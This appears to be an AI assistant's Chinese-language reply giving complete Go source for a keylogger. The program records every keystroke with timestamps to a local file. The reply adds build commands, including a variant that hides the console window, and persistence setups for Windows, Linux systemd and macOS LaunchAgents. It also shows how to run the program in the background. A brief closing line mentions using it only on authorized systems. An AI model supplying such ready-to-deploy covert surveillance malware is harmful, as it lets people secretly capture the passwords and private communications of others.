- 已安装Go语言环境(1.14或更高版本)
- 拥有系统管理权限
go get github.com/robotn/gohook将代码保存为keylogger.go:
package main
import (
"fmt"
"os"
"time"
hook "github.com/robotn/gohook"
)
func main() {
// 创建并打开日志文件
f, _ := os.OpenFile("log.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
defer f.Close()
fmt.Fprintf(f, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
// 只使用 gohook 库
evChan := hook.Start()
for ev := range evChan {
if ev.Kind == hook.KeyDown {
key := hook.RawcodetoKeychar(ev.Rawcode)
fmt.Fprintf(f, "%s: %s\n", time.Now().Format("15:04:05"), key)
f.Sync()
}
}
}go build -o keylogger.exe keylogger.gogo build -ldflags -H=windowsgui -o keylogger.exe keylogger.gogo build -o keylogger keylogger.go- 双击
keylogger.exe即可运行 - 要隐藏运行,使用隐藏控制台的编译版本
- 前台运行:
./keylogger - 后台运行:
nohup ./keylogger &
- 将程序快捷方式(或程序本身)复制到启动文件夹:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
创建systemd服务:
-
创建文件
/etc/systemd/system/keylogger.service:[Unit] Description=Keyboard Logger [Service] ExecStart=/完整路径/keylogger Restart=always [Install] WantedBy=multi-user.target -
启用服务:
sudo systemctl enable keylogger.service sudo systemctl start keylogger.service
创建启动项:
-
创建文件
~/Library/LaunchAgents/com.user.keylogger.plist:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.user.keylogger</string> <key>ProgramArguments</key> <array> <string>/完整路径/keylogger</string> </array> <key>RunAtLoad</key> <true/> </dict> </plist>
-
加载启动项:
launchctl load ~/Library/LaunchAgents/com.user.keylogger.plist
- 记录保存在程序同目录下的
log.txt文件中 - 每次按键都会记录按键内容和时间戳
- 程序重启不会覆盖旧记录,而是追加新记录
- Windows: 在任务管理器中结束
keylogger.exe进程 - Linux:
pkill keylogger或sudo systemctl stop keylogger - macOS:
pkill keylogger或launchctl unload ~/Library/LaunchAgents/com.user.keylogger.plist
- 请仅在您拥有合法授权的系统上使用此工具
- 在某些环境中可能需要管理员/root权限
- 在不同系统上键码映射可能略有不同
- 某些安全软件可能会将此程序识别为恶意软件
希望这个使用指南对您的安全研究有所帮助!